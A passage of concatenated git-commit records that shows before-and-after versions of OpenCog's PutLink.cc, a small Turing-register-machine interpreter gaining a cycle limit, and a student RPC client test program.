performed, there is no execution or\n * evaluation. Note also that the resulting tree is NOT placed into\n * any atomspace!\n *\/\nHandle PutLink::do_reduce(void) const\n{\n\tHandle bods(_body);\n\tVariables vars(_varlist);\n\t\/\/ Resolve the body, if needed. That is, if the body is\n\t\/\/ given in a defintion, get that defintion.\n\tType btype = _body->get_type();\n\tif (DEFINED_SCHEMA_NODE == btype or\n\t DEFINED_PREDICATE_NODE == btype)\n\t{\n\t\tbods = DefineLink::get_definition(bods);\n\t\tbtype = bods->get_type();\n\t\t\/\/ XXX TODO we should perform a type-check on the function.\n\t\tif (not classserver().isA(btype, LAMBDA_LINK))\n\t\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\t\t\"Expecting a LambdaLink, got %s\",\n\t\t\t bods->to_string().c_str());\n\t}\n\n\t\/\/ If the body is a lambda, work with that.\n\tif (classserver().isA(btype, LAMBDA_LINK))\n\t{\n\t\tLambdaLinkPtr lam(LambdaLinkCast(bods));\n\t\tbods = lam->get_body();\n\t\tvars = lam->get_variables();\n\t\tbtype = bods->get_type();\n\t}\n\n\t\/\/ Now get the values that we will plug into the body.\n\tType vtype = _values->get_type();\n\n\tsize_t nvars = vars.varseq.size();\n\n\t\/\/ At this time, we don't know the number of arguments a FunctionLink\n\t\/\/ might take. Atomese does have the mechanisms to declare these,\n\t\/\/ including arbitrary-arity functions, its just that its currently\n\t\/\/ not declared anywhere. So we just punt. Example usage:\n\t\/\/ (cog-execute! (Put (Plus) (List (Number 2) (Number 2))))\n\tif (0 == nvars and classserver().isA(btype, FUNCTION_LINK))\n\t{\n\t\treturn createLink(_values->getOutgoingSet(), btype);\n\t}\n\n\t\/\/ If there is only one variable in the PutLink body...\n\tif (1 == nvars)\n\t{\n\t\tif (SET_LINK != vtype)\n\t\t{\n\t\t\tHandleSeq oset;\n\t\t\toset.emplace_back(_values);\n\t\t\ttry\n\t\t\t{\n\t\t\t\treturn vars.substitute(bods, oset, \/* silent *\/ true);\n\t\t\t}\n\t\t\tcatch (const TypeCheckException& ex)\n\t\t\t{\n\t\t\t\treturn Handle::UNDEFINED;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ If the values are given in a set, then iterate over the set...\n\t\tHandleSeq bset;\n\t\tfor (const Handle& h : _values->getOutgoingSet())\n\t\t{\n\t\t\tHandleSeq oset;\n\t\t\toset.emplace_back(h);\n\t\t\ttry\n\t\t\t{\n\t\t\t\tbset.emplace_back(vars.substitute(bods, oset, \/* silent *\/ true));\n\t\t\t}\n\t\t\tcatch (const TypeCheckException& ex) {}\n\t\t}\n\t\treturn createLink(bset, SET_LINK);\n\t}\n\n\t\/\/ If we are here, then there are multiple variables in the body.\n\t\/\/ See how many values there are. If the values are a ListLink,\n\t\/\/ then assume that there is only a single set of values to plug in.\n\tif (LIST_LINK == vtype)\n\t{\n\t\tconst HandleSeq& oset = _values->getOutgoingSet();\n\t\ttry\n\t\t{\n\t\t\treturn vars.substitute(bods, oset, \/* silent *\/ true);\n\t\t}\n\t\tcatch (const TypeCheckException& ex)\n\t\t{\n\t\t\treturn Handle::UNDEFINED;\n\t\t}\n\t}\n\n\t\/\/ If we are here, then there are multiple values.\n\t\/\/ These MUST be given to us as a SetLink.\n\tOC_ASSERT(SET_LINK == vtype,\n\t\t\"Should have caught this earlier, in the ctor\");\n\n\tHandleSeq bset;\n\tfor (const Handle& h : _values->getOutgoingSet())\n\t{\n\t\tconst HandleSeq& oset = h->getOutgoingSet();\n\t\ttry\n\t\t{\n\t\t\tbset.emplace_back(vars.substitute(bods, oset, \/* silent *\/ true));\n\t\t}\n\t\tcatch (const TypeCheckException& ex) {}\n\t}\n\treturn createLink(bset, SET_LINK);\n}\n\nHandle PutLink::reduce(void)\n{\n\treturn do_reduce();\n}\n\nDEFINE_LINK_FACTORY(PutLink, PUT_LINK)\n\n\/* ===================== END OF FILE ===================== *\/\n<commit_msg>Handle the various different kinds f function arguments<commit_after>\/*\n * opencog\/atoms\/core\/PutLink.cc\n *\n * Copyright (C) 2015 Linas Vepstas\n * All Rights Reserved\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License v3 as\n * published by the Free Software Foundation and including the exceptions\n * at http:\/\/opencog.org\/wiki\/Licenses\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program; if not, write to:\n * Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n#include <opencog\/atoms\/base\/atom_types.h>\n#include <opencog\/atoms\/base\/ClassServer.h>\n#include \"DefineLink.h\"\n#include \"FreeLink.h\"\n#include \"LambdaLink.h\"\n#include \"PutLink.h\"\n\nusing namespace opencog;\n\nPutLink::PutLink(const HandleSeq& oset, Type t)\n : ScopeLink(oset, t)\n{\n\tinit();\n}\n\nPutLink::PutLink(const Handle& a)\n : ScopeLink(PUT_LINK, a)\n{\n\tinit();\n}\n\nPutLink::PutLink(const Link& l)\n : ScopeLink(l)\n{\n\tinit();\n}\n\n\/* ================================================================= *\/\n\n\/\/\/ PutLink expects a very strict format: an arity-2 link, with\n\/\/\/ the first part being a pattern, and the second a list or set\n\/\/\/ of values. If the pattern has N variables, then the seccond\n\/\/\/ part must have N values. Furthermore, any type restrictions on\n\/\/\/ the variables must be satisfied by the values.\n\/\/\/\n\/\/\/ The following formats are understood:\n\/\/\/\n\/\/\/ PutLink\n\/\/\/ <pattern with 1 variable>\n\/\/\/ <any single atom>\n\/\/\/\n\/\/\/ PutLink\n\/\/\/ <pattern with N variables>\n\/\/\/ ListLink ;; must have arity N\n\/\/\/ <atom 1>\n\/\/\/ ...\n\/\/\/ <atom N>\n\/\/\/\n\/\/\/ The below is a handy-dandy easy-to-use form. When it is reduced,\n\/\/\/ it will result in the creation of a set of reduced forms, not\n\/\/\/ just one (the two sets haveing the same arity). Unfortunately,\n\/\/\/ this trick cannot work for N=1 unless the variable is cosntrained\n\/\/\/ to not be a set.\n\/\/\/\n\/\/\/ PutLink\n\/\/\/ <pattern with N variables>\n\/\/\/ SetLink ;; Must hold a set of ListLinks\n\/\/\/ ListLink ;; must have arity N\n\/\/\/ <atom 1>\n\/\/\/ ...\n\/\/\/ <atom N>\n\/\/\/\nvoid PutLink::init(void)\n{\n\tif (not classserver().isA(get_type(), PUT_LINK))\n\t\tthrow InvalidParamException(TRACE_INFO, \"Expecting a PutLink\");\n\n\tsize_t sz = _outgoing.size();\n\tif (2 != sz and 3 != sz)\n\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\"Expecting an outgoing set size of two or three, got %d; %s\",\n\t\t\tsz, to_string().c_str());\n\n\tScopeLink::extract_variables(_outgoing);\n\n\tif (2 == sz)\n\t{\n\t\t\/\/ If the body is just a single variable, and there are no\n\t\t\/\/ type declarations for it, then ScopeLink gets confused.\n\t\t_vardecl = Handle::UNDEFINED;\n\t\t_body = _outgoing[0];\n\t\t_values = _outgoing[1];\n\t}\n\telse\n\t\t_values = _outgoing[2];\n\n\tstatic_typecheck_values();\n}\n\n\n\/\/\/ Check that the values in the PutLink obey the type constraints.\n\/\/\/ This only performs \"static\" typechecking, at construction-time;\n\/\/\/ since the values may be dynamically obtained at run-time, we cannot\n\/\/\/ check these here.\nvoid PutLink::static_typecheck_values(void)\n{\n\t\/\/ Cannot typecheck at this pont in time, because the schema\n\t\/\/ might not be defined yet...\n\tType btype = _body->get_type();\n\tif (DEFINED_SCHEMA_NODE == btype)\n\t\treturn;\n\tif (DEFINED_PREDICATE_NODE == btype)\n\t\treturn;\n\n\t\/\/ If its part of a signature, there is nothing to do.\n\tif (classserver().isA(btype, TYPE_NODE) or TYPE_CHOICE == btype)\n\t\treturn;\n\n\tsize_t sz = _varlist.varseq.size();\n\tType vtype = _values->get_type();\n\n\tif (1 == sz)\n\t{\n\t\tif (not _varlist.is_type(_values)\n\t\t and SET_LINK != vtype\n\t\t and PUT_LINK != vtype\n\t\t and not (classserver().isA(vtype, SATISFYING_LINK)))\n\t\t{\n\t\t\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\t\t\"PutLink mismatched type!\");\n\t\t}\n\t\treturn;\n\t}\n\n\t\/\/ Cannot typecheck naked FunctionLinks. For example:\n\t\/\/ (cog-execute! (Put (Plus) (List (Number 2) (Number 2))))\n\tif (0 == sz and classserver().isA(btype, FUNCTION_LINK))\n\t\treturn;\n\n\t\/\/ The standard, default case is to get a ListLink as an argument.\n\tif (LIST_LINK == vtype)\n\t{\n\t\tif (not _varlist.is_type(_values->getOutgoingSet()))\n\t\t{\n\t\t\tif (_vardecl)\n\t\t\t\tthrow SyntaxException(TRACE_INFO,\n\t\t\t\t\t\"PutLink has mismatched value list! vardecl=%s\\nvals=%s\",\n\t\t\t\t\t_vardecl->to_string().c_str(),\n\t\t\t\t\t_values->to_string().c_str());\n\t\t\telse\n\t\t\t\tthrow SyntaxException(TRACE_INFO,\n\t\t\t\t\t\"PutLink has mismatched value list! body=%s\\nvals=%s\",\n\t\t\t\t\t_body->to_string().c_str(),\n\t\t\t\t\t_values->to_string().c_str());\n\t\t}\n\t\treturn;\n\t}\n\n\t\/\/ GetLinks (and the like) are evaluated dynamically, later.\n\tif (classserver().isA(vtype, SATISFYING_LINK))\n\t\treturn;\n\n\t\/\/ If its part of a signature, there is nothing to do.\n\tif (TYPE_NODE == vtype or TYPE_CHOICE == vtype)\n\t\treturn;\n\n\t\/\/ The only remaining possibility is that there is set of ListLinks.\n\tif (SET_LINK != vtype)\n\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\"PutLink was expecting a ListLink, SetLink or GetLink!\");\n\n\tif (1 < sz)\n\t{\n\t\tfor (const Handle& h : _values->getOutgoingSet())\n\t\t{\n\t\t\t\/\/ If the arity is greater than one, then the values must be in a list.\n\t\t if (h->get_type() != LIST_LINK)\n\t\t\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\t\t\"PutLink expected value list!\");\n\n\t\t\tif (not _varlist.is_type(h->getOutgoingSet()))\n\t\t\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\t\t\"PutLink bad value list!\");\n\t\t}\n\t\treturn;\n\t}\n\n\t\/\/ If the arity is one, the values must obey type constraint.\n\tfor (const Handle& h : _values->getOutgoingSet())\n\t{\n\t\tif (not _varlist.is_type(h))\n\t\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\t\t\"PutLink bad type!\");\n\t}\n}\n\n\/* ================================================================= *\/\n\n\/**\n * Perform the actual beta reduction --\n *\n * Substitute values for the variables in the pattern tree.\n * This is a lot like applying the function fun to the argument list\n * args, except that no actual evaluation is performed; only\n * substitution. The resulting tree is NOT placed into any atomspace,\n * either. If you want that, you must do it youself. If you want\n * evaluation or execution to happen during or after sustitution, use\n * either the EvaluationLink, the ExecutionOutputLink, or the Instantiator.\n *\n * So, for example, if this PutLink looks like this:\n *\n * PutLink\n * EvaluationLink\n * PredicateNode \"is a kind of\"\n * ListLink\n * VariableNode $a\n * ConceptNode \"hot patootie\"\n * ConceptNode \"cowpie\"\n *\n * then the reduced value will be\n *\n * EvaluationLink\n * PredicateNode \"is a kind of\"\n * ListLink\n * ConceptNode \"cowpie\"\n * ConceptNode \"hot patootie\"\n *\n * Type checking is performed during substitution; if the values fail to\n * have the desired types, no substitution is performed. In this case,\n * an undefined handle is returned. For set substitutions, this acts as\n * a filter, removing (filtering out) the mismatched types.\n *\n * Again, only a substitution is performed, there is no execution or\n * evaluation. Note also that the resulting tree is NOT placed into\n * any atomspace!\n *\/\nHandle PutLink::do_reduce(void) const\n{\n\tHandle bods(_body);\n\tVariables vars(_varlist);\n\t\/\/ Resolve the body, if needed. That is, if the body is\n\t\/\/ given in a defintion, get that defintion.\n\tType btype = _body->get_type();\n\tif (DEFINED_SCHEMA_NODE == btype or\n\t DEFINED_PREDICATE_NODE == btype)\n\t{\n\t\tbods = DefineLink::get_definition(bods);\n\t\tbtype = bods->get_type();\n\t\t\/\/ XXX TODO we should perform a type-check on the function.\n\t\tif (not classserver().isA(btype, LAMBDA_LINK))\n\t\t\tthrow InvalidParamException(TRACE_INFO,\n\t\t\t\t\t\"Expecting a LambdaLink, got %s\",\n\t\t\t bods->to_string().c_str());\n\t}\n\n\t\/\/ If the body is a lambda, work with that.\n\tif (classserver().isA(btype, LAMBDA_LINK))\n\t{\n\t\tLambdaLinkPtr lam(LambdaLinkCast(bods));\n\t\tbods = lam->get_body();\n\t\tvars = lam->get_variables();\n\t\tbtype = bods->get_type();\n\t}\n\n\t\/\/ Now get the values that we will plug into the body.\n\tType vtype = _values->get_type();\n\n\tsize_t nvars = vars.varseq.size();\n\n\t\/\/ At this time, we don't know the number of arguments a FunctionLink\n\t\/\/ might take. Atomese does have the mechanisms to declare these,\n\t\/\/ including arbitrary-arity functions, its just that its currently\n\t\/\/ not declared anywhere. So we just punt. Example usage:\n\t\/\/ (cog-execute! (Put (Plus) (List (Number 2) (Number 2))))\n\tif (0 == nvars and classserver().isA(btype, FUNCTION_LINK))\n\t{\n\t\tif (LIST_LINK == vtype)\n\t\t\treturn createLink(_values->getOutgoingSet(), btype);\n\n\t\tif (SET_LINK != vtype)\n\t\t\treturn createLink(btype, _values);\n\n\t\t\/\/ If the values are given in a set, then iterate over the set...\n\t\tHandleSeq bset;\n\t\tfor (const Handle& h : _values->getOutgoingSet())\n\t\t{\n\t\t\tif (LIST_LINK == h->get_type())\n\t\t\t\tbset.emplace_back(createLink(h->getOutgoingSet(), btype));\n\t\t\telse\n\t\t\t\tbset.emplace_back(createLink(btype, h));\n\t\t}\n\t\treturn createLink(bset, SET_LINK);\n\t}\n\n\t\/\/ If there is only one variable in the PutLink body...\n\tif (1 == nvars)\n\t{\n\t\tif (SET_LINK != vtype)\n\t\t{\n\t\t\tHandleSeq oset;\n\t\t\toset.emplace_back(_values);\n\t\t\ttry\n\t\t\t{\n\t\t\t\treturn vars.substitute(bods, oset, \/* silent *\/ true);\n\t\t\t}\n\t\t\tcatch (const TypeCheckException& ex)\n\t\t\t{\n\t\t\t\treturn Handle::UNDEFINED;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ If the values are given in a set, then iterate over the set...\n\t\tHandleSeq bset;\n\t\tfor (const Handle& h : _values->getOutgoingSet())\n\t\t{\n\t\t\tHandleSeq oset;\n\t\t\toset.emplace_back(h);\n\t\t\ttry\n\t\t\t{\n\t\t\t\tbset.emplace_back(vars.substitute(bods, oset, \/* silent *\/ true));\n\t\t\t}\n\t\t\tcatch (const TypeCheckException& ex) {}\n\t\t}\n\t\treturn createLink(bset, SET_LINK);\n\t}\n\n\t\/\/ If we are here, then there are multiple variables in the body.\n\t\/\/ See how many values there are. If the values are a ListLink,\n\t\/\/ then assume that there is only a single set of values to plug in.\n\tif (LIST_LINK == vtype)\n\t{\n\t\tconst HandleSeq& oset = _values->getOutgoingSet();\n\t\ttry\n\t\t{\n\t\t\treturn vars.substitute(bods, oset, \/* silent *\/ true);\n\t\t}\n\t\tcatch (const TypeCheckException& ex)\n\t\t{\n\t\t\treturn Handle::UNDEFINED;\n\t\t}\n\t}\n\n\t\/\/ If we are here, then there are multiple values.\n\t\/\/ These MUST be given to us as a SetLink.\n\tOC_ASSERT(SET_LINK == vtype,\n\t\t\"Should have caught this earlier, in the ctor\");\n\n\tHandleSeq bset;\n\tfor (const Handle& h : _values->getOutgoingSet())\n\t{\n\t\tconst HandleSeq& oset = h->getOutgoingSet();\n\t\ttry\n\t\t{\n\t\t\tbset.emplace_back(vars.substitute(bods, oset, \/* silent *\/ true));\n\t\t}\n\t\tcatch (const TypeCheckException& ex) {}\n\t}\n\treturn createLink(bset, SET_LINK);\n}\n\nHandle PutLink::reduce(void)\n{\n\treturn do_reduce();\n}\n\nDEFINE_LINK_FACTORY(PutLink, PUT_LINK)\n\n\/* ===================== END OF FILE ===================== *\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Reference: http:\/\/www.indiana.edu\/~iulg\/trm\/\n *\n * Instruction set\n * ===============\n * Add 1 to Rn : 1^n#\n * Rn.push(1)\n *\n * Add # to Rn : 1^n##\n * Rn.push(#)\n *\n * Go forward n : 1^n###\n * pc += n\n * Go backward n : 1^n####\n * pc -= n\n *\n * Cases on Rn : 1^n#####\n * if Rn.empty(), pc += 1\n * if Rn.pop() == 1, pc += 2\n * if Rn.pop() == #, pc += 3\n *\/\n\n#include <iostream>\n#include <string>\n#include <map>\n#include <vector>\n#include <queue>\n#include <thread>\n#include <chrono>\n\nusing namespace std;\n\nenum Code {\n O,\n H\n};\n\nenum Op {\n Add1 = 1,\n Add0 = 2,\n Inc = 3,\n Dec = 4,\n Case = 5\n};\n\nstruct Instr {\n Op op;\n int n;\n};\n\nstruct TRM {\n vector< Instr > program;\n map< int, queue<Code> > mem;\n\n void push(int i, Code c) {\n mem[i].push(c);\n }\n\n int cases(int i) {\n queue<Code>& Rn = mem[i];\n if (Rn.empty()) {\n return 1;\n } else if (Rn.front() == O) {\n Rn.pop();\n return 2;\n } else if (Rn.front() == H) {\n Rn.pop();\n return 3;\n }\n }\n\n int print_registers() {\n int lines = 0;\n for (map< int, queue<Code> >::iterator it=mem.begin(); it != mem.end(); it++) {\n int col = 3;\n cout << \"R\" << it->first << \":\";\n queue<Code> content = it->second;\n while (content.empty() == false) {\n Code c = content.front();\n content.pop();\n if (c == O) {\n cout << \"1\";\n } else {\n cout << \"#\";\n }\n col++;\n if (col == 80) {\n cout << endl;\n cout << \" \";\n col = 3;\n lines++;\n }\n }\n cout << endl;\n lines++;\n }\n return lines;\n }\n\n void clear_previous(int lines, int fps) {\n this_thread::sleep_for(chrono::microseconds(1000000 \/ fps));\n for (int i = 0; i < lines; i++) {\n cout << \"\\x1B[1A\"; \/\/ Move the cursor up one line\n cout << \"\\x1B[2K\"; \/\/ Erase the entire current line\n }\n }\n\n string op2string(Op o) {\n switch (o) {\n case Add1: return \"Add1\";\n case Add0: return \"Add#\";\n case Inc: return \"Inc\";\n case Dec: return \"Dec\";\n case Case: return \"Case\";\n }\n }\n\n string instr2string(Instr in) {\n return op2string(in.op) + \" \" + to_string(in.n);\n }\n\n void print_program() {\n for ( auto &p : program) {\n cout << instr2string(p) << endl;\n }\n }\n\n void eval(int max, int fps) {\n int lines = 0;\n int cnt = 0;\n int pc = 0;\n while (pc < program.size()) {\n Instr in = program[pc];\n switch (in.op) {\n case Add1:\n push(in.n, O);\n pc++;\n break;\n\n case Add0:\n push(in.n, H);\n pc++;\n break;\n\n case Inc:\n pc += in.n;\n break;\n\n case Dec:\n pc -= in.n;\n break;\n\n case Case:\n pc += cases(in.n);\n break;\n }\n cnt++;\n if (cnt > 1 && fps > 0) {\n clear_previous(lines + 1, fps);\n }\n cout << \"instr: \" + instr2string(in) << endl;\n lines = print_registers();\n }\n }\n\n void load_program() {\n cin.sync_with_stdio(false);\n\n char curr;\n\n int n = 0;\n int c = 0;\n\n while (cin >> curr) {\n if (curr == '1') {\n if (c > 0) {\n n = 0;\n c = 0;\n }\n n++;\n } else if (curr == '#') {\n c++;\n if (c == 1) {\n program.push_back({Add1, n});\n } else {\n program.back().op = (Op)c;\n }\n }\n }\n }\n};\n\nint main(int argc, char *argv[]) {\n TRM m;\n m.load_program();\n m.print_program();\n cout << endl;\n if (argc == 1) {\n m.eval(1000, 0);\n } else if (argc == 2) {\n m.eval(atoi(argv[1]), 0);\n } else if (argc == 3) {\n m.eval(atoi(argv[1]), atoi(argv[2]));\n }\n return 0;\n}\n<commit_msg>enforce max cycles<commit_after>\/*\n * Reference: http:\/\/www.indiana.edu\/~iulg\/trm\/\n *\n * Instruction set\n * ===============\n * Add 1 to Rn : 1^n#\n * Rn.push(1)\n *\n * Add # to Rn : 1^n##\n * Rn.push(#)\n *\n * Go forward n : 1^n###\n * pc += n\n * Go backward n : 1^n####\n * pc -= n\n *\n * Cases on Rn : 1^n#####\n * if Rn.empty(), pc += 1\n * if Rn.pop() == 1, pc += 2\n * if Rn.pop() == #, pc += 3\n *\/\n\n#include <iostream>\n#include <string>\n#include <map>\n#include <vector>\n#include <queue>\n#include <thread>\n#include <chrono>\n\nusing namespace std;\n\nenum Code {\n O,\n H\n};\n\nenum Op {\n Add1 = 1,\n Add0 = 2,\n Inc = 3,\n Dec = 4,\n Case = 5\n};\n\nstruct Instr {\n Op op;\n int n;\n};\n\nstruct TRM {\n vector< Instr > program;\n map< int, queue<Code> > mem;\n\n void push(int i, Code c) {\n mem[i].push(c);\n }\n\n int cases(int i) {\n queue<Code>& Rn = mem[i];\n if (Rn.empty()) {\n return 1;\n } else if (Rn.front() == O) {\n Rn.pop();\n return 2;\n } else if (Rn.front() == H) {\n Rn.pop();\n return 3;\n }\n }\n\n int print_registers() {\n int lines = 0;\n for (map< int, queue<Code> >::iterator it=mem.begin(); it != mem.end(); it++) {\n int col = 3;\n cout << \"R\" << it->first << \":\";\n queue<Code> content = it->second;\n while (content.empty() == false) {\n Code c = content.front();\n content.pop();\n if (c == O) {\n cout << \"1\";\n } else {\n cout << \"#\";\n }\n col++;\n if (col == 80) {\n cout << endl;\n cout << \" \";\n col = 3;\n lines++;\n }\n }\n cout << endl;\n lines++;\n }\n return lines;\n }\n\n void clear_previous(int lines, int fps) {\n this_thread::sleep_for(chrono::microseconds(1000000 \/ fps));\n for (int i = 0; i < lines; i++) {\n cout << \"\\x1B[1A\"; \/\/ Move the cursor up one line\n cout << \"\\x1B[2K\"; \/\/ Erase the entire current line\n }\n }\n\n string op2string(Op o) {\n switch (o) {\n case Add1: return \"Add1\";\n case Add0: return \"Add#\";\n case Inc: return \"Inc\";\n case Dec: return \"Dec\";\n case Case: return \"Case\";\n }\n }\n\n string instr2string(Instr in) {\n return op2string(in.op) + \" \" + to_string(in.n);\n }\n\n void print_program() {\n for ( auto &p : program) {\n cout << instr2string(p) << endl;\n }\n }\n\n void eval(int max, int fps) {\n int lines = 0;\n int cnt = 0;\n int pc = 0;\n while (pc < program.size() && cnt < max) {\n Instr in = program[pc];\n switch (in.op) {\n case Add1:\n push(in.n, O);\n pc++;\n break;\n\n case Add0:\n push(in.n, H);\n pc++;\n break;\n\n case Inc:\n pc += in.n;\n break;\n\n case Dec:\n pc -= in.n;\n break;\n\n case Case:\n pc += cases(in.n);\n break;\n }\n cnt++;\n if (cnt > 1 && fps > 0) {\n clear_previous(lines + 1, fps);\n }\n cout << \"instr: \" + instr2string(in) << endl;\n lines = print_registers();\n }\n }\n\n void load_program() {\n cin.sync_with_stdio(false);\n\n char curr;\n\n int n = 0;\n int c = 0;\n\n while (cin >> curr) {\n if (curr == '1') {\n if (c > 0) {\n n = 0;\n c = 0;\n }\n n++;\n } else if (curr == '#') {\n c++;\n if (c == 1) {\n program.push_back({Add1, n});\n } else {\n program.back().op = (Op)c;\n }\n }\n }\n }\n};\n\nint main(int argc, char *argv[]) {\n TRM m;\n m.load_program();\n m.print_program();\n cout << endl;\n if (argc == 1) {\n m.eval(1000, 0);\n } else if (argc == 2) {\n m.eval(atoi(argv[1]), 0);\n } else if (argc == 3) {\n m.eval(atoi(argv[1]), atoi(argv[2]));\n }\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <cstdlib>\n#include <cstring>\n#include <queue>\n#include <unistd.h>\n#include <netdb.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include \"message.h\"\n#include \"segment.h\"\n#include \"register_request_message.h\"\n\nusing namespace std;\n\n\/\/ Checks the number and formats of the environment variables passed\nvoid checkEnvironmentVariables() {\n char* serverAddress = getenv(\"BINDER_ADDRESS\");\n if (serverAddress == 0) {\n exit(-1);\n } \/\/ if\n\n char* serverPort = getenv(\"BINDER_PORT\");\n if (serverPort == 0) {\n exit(-1);\n } \/\/ if\n} \/\/ checkEnvironmentVariables\n\n\/\/ Sets up the client socket\nint setUpClientSocket() {\n struct addrinfo serverAddressHints;\n struct addrinfo* serverAddressResults;\n\n \/\/ Creates the client socket\n int clientSocket = socket(AF_INET, SOCK_STREAM, 0);\n if (clientSocket < 0) {\n exit(-1);\n } \/\/ if\n\n \/\/ Gets the environment variables passed\n char* serverAddress = getenv(\"BINDER_ADDRESS\");\n char* serverPort = getenv(\"BINDER_PORT\");\n\n \/\/ Sets up the server address hints and results to perform the DNS\n \/\/ lookup on the server's host name to obtain the server's IP address\n memset(&serverAddressHints, 0, sizeof(serverAddressHints));\n serverAddressHints.ai_family = AF_INET;\n serverAddressHints.ai_socktype = SOCK_STREAM;\n\n \/\/ Performs a DNS lookup on the server's host name to obtain the\n \/\/ server's IP address\n int result = getaddrinfo(serverAddress, serverPort,\n &serverAddressHints, &serverAddressResults);\n if (result != 0) {\n exit(-1);\n } \/\/ if\n\n \/\/ Initiates the TCP connection between the client and the server\n result = connect(clientSocket, serverAddressResults->ai_addr,\n serverAddressResults->ai_addrlen);\n if (result < 0) {\n exit(-1);\n } \/\/ if\n\n \/\/ Frees up memory allocated for the server address results\n freeaddrinfo(serverAddressResults);\n\n return clientSocket;\n} \/\/setUpSocket\n\nint main() {\n \/\/ Checks the number and formats of the environment variables passed\n checkEnvironmentVariables();\n\n\n \/\/ Sets up the client socket\n int clientSocket = setUpClientSocket();\n\n string serverIdentifier = \"ubuntu1404-002.student.cs.uwaterloo.ca\";\n unsigned int port = 80;\n string name = \"func\";\n int argTypes[3] = {1337, 2525, 369};\n RegisterRequestMessage msg = RegisterRequestMessage(serverIdentifier, port, name, argTypes);\n cout << \"Server Identifier: \" << msg.getServerIdentifier() << endl;\n cout << \"Port: \" << msg.getPort() << endl;\n cout << \"Name: \" << msg.getName() << endl;\n cout << \"ArgTypes: \" << *(msg.getArgTypes()) << \", \" << *(msg.getArgTypes() + 1) << \", \" << *(msg.getArgTypes() + 2) << \", \" << *(msg.getArgTypes() + 3) << \", \" <<endl;\n Segment seg = Segment(msg.getLength(), MSG_TYPE_REGISTER_REQUEST, &msg);\n seg.send(clientSocket);\n\n \/\/ Closes the client socket\n\n sleep(2);\n\n close(clientSocket);\n} \/\/ main\n<commit_msg>changes<commit_after>#include <iostream>\n#include <cstdlib>\n#include <cstring>\n#include <queue>\n#include <unistd.h>\n#include <netdb.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include \"message.h\"\n#include \"segment.h\"\n#include \"register_request_message.h\"\n\nusing namespace std;\n\n\/\/ Checks the number and formats of the environment variables passed\nvoid checkEnvironmentVariables() {\n char* serverAddress = getenv(\"BINDER_ADDRESS\");\n if (serverAddress == 0) {\n exit(-1);\n } \/\/ if\n\n char* serverPort = getenv(\"BINDER_PORT\");\n if (serverPort == 0) {\n exit(-1);\n } \/\/ if\n} \/\/ checkEnvironmentVariables\n\n\/\/ Sets up the client socket\nint setUpClientSocket() {\n struct addrinfo serverAddressHints;\n struct addrinfo* serverAddressResults;\n\n \/\/ Creates the client socket\n int clientSocket = socket(AF_INET, SOCK_STREAM, 0);\n if (clientSocket < 0) {\n exit(-1);\n } \/\/ if\n\n \/\/ Gets the environment variables passed\n char* serverAddress = getenv(\"BINDER_ADDRESS\");\n char* serverPort = getenv(\"BINDER_PORT\");\n\n \/\/ Sets up the server address hints and results to perform the DNS\n \/\/ lookup on the server's host name to obtain the server's IP address\n memset(&serverAddressHints, 0, sizeof(serverAddressHints));\n serverAddressHints.ai_family = AF_INET;\n serverAddressHints.ai_socktype = SOCK_STREAM;\n\n \/\/ Performs a DNS lookup on the server's host name to obtain the\n \/\/ server's IP address\n int result = getaddrinfo(serverAddress, serverPort,\n &serverAddressHints, &serverAddressResults);\n if (result != 0) {\n exit(-1);\n } \/\/ if\n\n \/\/ Initiates the TCP connection between the client and the server\n result = connect(clientSocket, serverAddressResults->ai_addr,\n serverAddressResults->ai_addrlen);\n if (result < 0) {\n exit(-1);\n } \/\/ if\n\n \/\/ Frees up memory allocated for the server address results\n freeaddrinfo(serverAddressResults);\n\n return clientSocket;\n} \/\/setUpSocket\n\nint main() {\n \/\/ Checks the number and formats of the environment variables passed\n checkEnvironmentVariables();\n\n\n \/\/ Sets up the client socket\n int clientSocket = setUpClientSocket();\n\n string serverIdentifier = \"ubuntu1404-002.student.cs.uwaterloo.ca\";\n unsigned int port = 80;\n string name = \"func\";\n \/* prepare the arguments for f0 *\/\n int a0 = 5;\n int b0 = 10;\n int count0 = 3;\n int return0;\n int argTypes0[count0 + 1];\n void **args0;\n\n argTypes0[0] = (1 << ARG_OUTPUT) | (ARG_INT << 16);\n argTypes0[1] = (1 << ARG_INPUT) | (ARG_INT << 16);\n argTypes0[2] = (1 << ARG_INPUT) | (ARG_INT << 16);\n argTypes0[3] = 0;\n\n args0 = (void **)malloc(count0 * sizeof(void *));\n args0[0] = (void *)&return0;\n args0[1] = (void *)&a0;\n args0[2] = (void *)&b0;\n\n ExecuteRequestMessage msg = ExecuteRequestMessage(name, argTypes);\n \/\/cout << \"Server Identifier: \" << msg.getServerIdentifier() << endl;\n \/\/cout << \"Port: \" << msg.getPort() << endl;\n \/\/cout << \"Name: \" << msg.getName() << endl;\n \/\/cout << \"ArgTypes: \" << *(msg.getArgTypes()) << \", \" << *(msg.getArgTypes() + 1) << \", \" << *(msg.getArgTypes() + 2) << \", \" << *(msg.getArgTypes() + 3) << \", \" <<endl;\n \n Segment seg = Segment(msg.getLength(), MSG_TYPE_EXECUTE_REQUEST, &msg);\n seg.send(clientSocket);\n\n \/\/ Closes the client socket\n\n sleep(2);\n\n close(clientSocket);\n} \/\/ main\n<|endoftext|>"} {"text":"<commit_before>#include \"tui.h\"\n#include <assert.h>\n#include <climits>\n\nvoid 